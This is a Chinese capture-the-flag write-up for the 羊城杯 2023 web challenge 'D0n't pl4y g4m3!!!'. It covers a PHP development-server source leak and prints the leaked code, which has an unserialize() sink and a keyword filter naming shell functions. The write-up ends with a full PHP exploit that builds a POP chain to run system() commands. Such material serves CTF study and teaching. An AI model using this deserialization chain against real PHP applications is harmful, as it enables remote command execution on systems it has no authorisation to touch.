[羊城杯 2023] web

文章目录

    • [D0n't pl4y g4m3!!!](#D0n't pl4y g4m3!!!)

D0n't pl4y g4m3!!!

打开题目,可以判断这里为php Development Server 启动的服务

查询得知,存在 PHP<=7.4.21 Development Server源码泄露漏洞(参考文章)

抓包,构造payload
得到源码

复制代码
class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
            call_user_func('system', "cat /flag");
     }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
  unserialize(prohib($a));
}
?>

还有提示./hint.zip,下载完解压,猜测是某种编码

复制到谷歌,发现GitHub上面有解码工具
然后再回过头看

pop链子:Bei.__destruct()->Yang.__call()

exp

复制代码
<?php
class Pro  //five
{
    private $exp;
    private $rce2;
}

class Yang  //one
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
}
class Cheng  //two
{
    private $finish;
    public $name;
    
}
class Bei  //four
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

$a=new Bei();
$a->rce="cat /tmp/catcatf1ag.txt";
$a->rce1="";
$b=new Yang();
$b->finish->finish=true;
$a->CTF=$b;
$c=new Yang();
$c->key=true;
$c->finish->finish=true;
$c->now['YCB1']='system';
$a->fine=$c;
echo urlencode(serialize($a));
?>

得到flag

相关推荐
啊阿狸不会拉杆1 小时前
《Java 程序设计》核心知识点梳理与深入探究
java·开发语言·python·算法·php·intellij-idea
傻啦嘿哟2 小时前
代理IP并发控制:多线程爬虫的加速引擎
开发语言·php
Status_5002 小时前
XSS跨站脚本攻击详解
web安全·xss
卓码软件测评2 小时前
软件测试测评公司关于HTTP安全头配置与测试?
web安全·网络安全·安全性测试·web app
下页、再停留3 小时前
【PHP】接入百度AI开放平台人脸识别API,实现人脸对比
人工智能·百度·php
苏琢玉4 小时前
如何优雅地处理多种电商优惠规则?我用 PHP 封装了一个 Promotion Engine
后端·php·composer
七七软件开发5 小时前
团购商城 app 系统架构分析
java·python·小程序·eclipse·系统架构·php
一只鹿鹿鹿8 小时前
【网络安全】等级保护2.0解决方案
运维·安全·web安全·架构·信息化
根本睡不醒#15 小时前
kali安装maven
java·web安全·网络安全·maven
奔跑吧邓邓子17 小时前
从0到1学PHP(十):PHP 文件操作:读写与管理文件
开发语言·php·文件操作